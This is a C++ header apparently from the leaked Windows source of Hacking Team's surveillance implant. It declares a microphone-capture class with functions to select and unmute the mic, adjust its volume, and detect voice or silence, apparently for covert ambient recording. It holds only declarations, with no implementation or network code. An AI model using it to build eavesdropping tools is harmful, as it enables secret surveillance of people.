hackedteam/core-win32

#ifndef __XPMIC_H__
#define __XPMIC_H__

#include <windows.h>
#include <mmsystem.h>
#include "..\\DSound.h"
#include <vector>
#include "QSpeechDetect.h"

extern BOOL bAmbientalMicSemaphore;

#define MINISLEEP_TIME 4500
#define SAMPLES ((uAudioBufferSize ? uAudioBufferSize : 1) / wfx.nChannels) / (wfx.wBitsPerSample / 8)
#define SHORT_MAX 32767
#define SHORT_MIN -32768
#define CLIP_THRESHOLD 1000
#define SILENCE_THRESHOLD 600

#define REC_FREQUENCY    44100
#define REC_BITS        16
#define REC_CHANNELS    2    // Non cambiare!
#define REC_BYTEPERSECOND    REC_FREQUENCY * (REC_BITS / 8) * REC_CHANNELS
#define REC_SECONDS(X)    X * REC_BYTEPERSECOND

#define DEFINE_LOCAL_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) GUID name; { name.Data1=l; \
                                                                                        name.Data2=w1; \
                                                                                        name.Data3=w2; \
                                                                                        name.Data4[0]=b1; \
                                                                                        name.Data4[1]=b2; \
                                                                                        name.Data4[2]=b3; \
                                                                                        name.Data4[3]=b4; \
                                                                                        name.Data4[4]=b5; \
                                                                                        name.Data4[5]=b6; \
                                                                                        name.Data4[6]=b7; \
                                                                                        name.Data4[7]=b8; }

#define CHK_HRESULT(x) if (x != S_OK) {  break; }
#define CHK_POINTER(x) if (x == NULL) {  break; }

typedef HRESULT (WINAPI *DirectSoundCaptureCreate8_t) (LPCGUID , LPDIRECTSOUNDCAPTURE8 *, DWORD);

using namespace std;

class CXPMixer
{
private:
    BOOL bCalibrate, bVoice, bSilence;
    INT iSilenceBlock, iSilenceLength;
    UINT uVoiceThreshold, uAudioBufferSize, uChunkLen, uChannels, uThreshold;
    FLOAT fVoiceThreshold;
    PBYTE m_pAudioBuffer;

    BOOL m_bInitialized;
    HMIXER    m_hMixer;
    MIXERCAPS m_mixCaps;                
    UINT m_uNumMixers;
    
    MIXERLINE m_mxl;

    // Per la modifica del volume servono il valore minimo e massimo, il numero di steps e l'ID del controllo.
    DWORD m_dwMinMicVal, m_dwMaxMicVal, m_dwMicStep, m_dwVolumeControlID, m_dwXPercStep;

    QSpeechDetect *m_pQsd;
    SYSTEMTIME st;
    WAVEFORMATEX wfx;

    HWAVEIN m_hWaveIn;
    HMODULE m_hDSound;
    DirectSoundCaptureCreate8_t    m_pDirectSoundCaptureCreate8;
    LPDIRECTSOUNDCAPTURE8 m_pDSC;

private:
    inline BOOL IsInitialized() { return m_bInitialized; };
    BOOL MixInitialize();
    void MixUninitialize();
    BOOL MixSelectAndOpen();

    BOOL MixLineSelect(UINT uLineType);
    BOOL MixGetVolumeControls();

    BOOL SelectMic();
    VOID UnMuteMic();
    
    BOOL LoadDSound();
    VOID UnloadDSound();
    
    BOOL AcquireMic();

    UINT GetVolumeStep();
    UINT GetVolume();    
    BOOL SetVolume(UINT uVolume);

    BOOL MiniSleep(UINT uMilliSec);

public:
    CXPMixer(BOOL bCalibrate, UINT uVoiceThreshold, INT iSilenceBlock);
    virtual ~CXPMixer();

    BOOL Initialize();

    BOOL StepVolumeUp();
    BOOL StepVolumeDown();
    
    BOOL AcquireMic(PBYTE* pBuffer);
    UINT GetBufferSize();
    BOOL IsVoice();
    SYSTEMTIME GetTimeStamp();
    BOOL Silent();
};
#endif